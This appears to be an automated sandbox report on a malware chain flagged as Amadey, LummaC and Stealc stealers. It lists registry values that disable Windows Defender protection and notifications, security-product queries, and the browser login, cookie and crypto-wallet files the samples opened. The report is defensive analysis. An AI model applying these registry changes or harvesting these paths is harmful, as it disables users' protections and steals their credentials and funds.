Source: c86e5fe17c.exe, 0000000A.00000002.3018807522.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: GXK4CGNQC97BZAH5XF5VF7CI8.exe, GXK4CGNQC97BZAH5XF5VF7CI8.exe, 00000003.00000002.2318239486.0000000000F40000.00000040.00000001.01000000.00000006.sdmp, skotes.exe, skotes.exe, 00000004.00000002.2351224910.0000000000F60000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.2269952023.0000000001096000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: eProgram Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003088001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003088001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 275cb7a9a2.exe, 00000007.00000003.2903547863.00000000058AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ndows Defender\MsMpeng.exe
Source: file.exe, file.exe, 00000000.00000002.2268595327.000000000093E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2266021076.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2268861020.00000000009C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183935775.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2266090900.00000000009BD000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2927039614.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2903547863.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3122253586.0000000001496000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 4.2.skotes.exe.d70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.GXK4CGNQC97BZAH5XF5VF7CI8.exe.d50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.PP98OPFFP28IWX5W.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.3148902384.0000000000201000.00000040.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2351129881.0000000000D71000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2653688875.0000000005550000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2310067297.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2318149161.0000000000D51000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3104642103.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2276220371.0000000005390000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 0000000A.00000003.3018106480.0000000001556000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3018037056.000000000154F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c86e5fe17c.exe PID: 6056, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 5440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 275cb7a9a2.exe PID: 2696, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 275cb7a9a2.exe PID: 7080, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 28.0.num.exe.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.544ed086e5.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.num.exe.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.num.exe.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.num.exe.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.544ed086e5.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000000.3034034011.0000000000591000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2927820038.0000000000851000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3142726544.000000000067B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3233594668.00000000005AE000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3192846829.00000000005AE000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2929579562.000000000157E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.3008637392.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3233418469.0000000000591000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3192748086.0000000000591000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3194553022.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.3034813943.00000000005AE000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2887362261.0000000005230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3143857463.0000000000851000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.3166108552.0000000000591000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3235463576.0000000000B37000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.3166180848.00000000005AE000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 544ed086e5.exe PID: 4820, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2072623713.00000000009D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ta%\\Electrum\\w)U
Source: file.exe, 00000000.00000002.2268595327.000000000096A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2268595327.000000000096A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 275cb7a9a2.exe, 00000009.00000003.3054565690.0000000001437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.2072623713.00000000009BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binancepo
Source: file.exe, 00000000.00000002.2268595327.000000000096A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: file.exe, 00000000.00000003.2072623713.00000000009D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2153821368.00000000009D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
